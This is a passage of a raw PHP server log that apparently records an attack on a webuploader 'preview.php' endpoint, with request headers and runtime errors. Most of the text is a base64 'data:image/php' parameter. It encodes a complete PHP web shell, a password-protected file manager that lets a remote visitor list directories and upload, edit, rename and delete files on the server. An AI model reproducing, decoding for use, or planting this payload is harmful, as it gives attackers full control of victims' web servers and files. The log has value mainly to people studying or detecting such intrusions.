UnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:37+08:00 ] 119.42.146.234 POST 59.110.137.245/res/webuploader/0.1.5/server/preview.php [运行时间:0.002742s] [吞吐率:364.72req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsg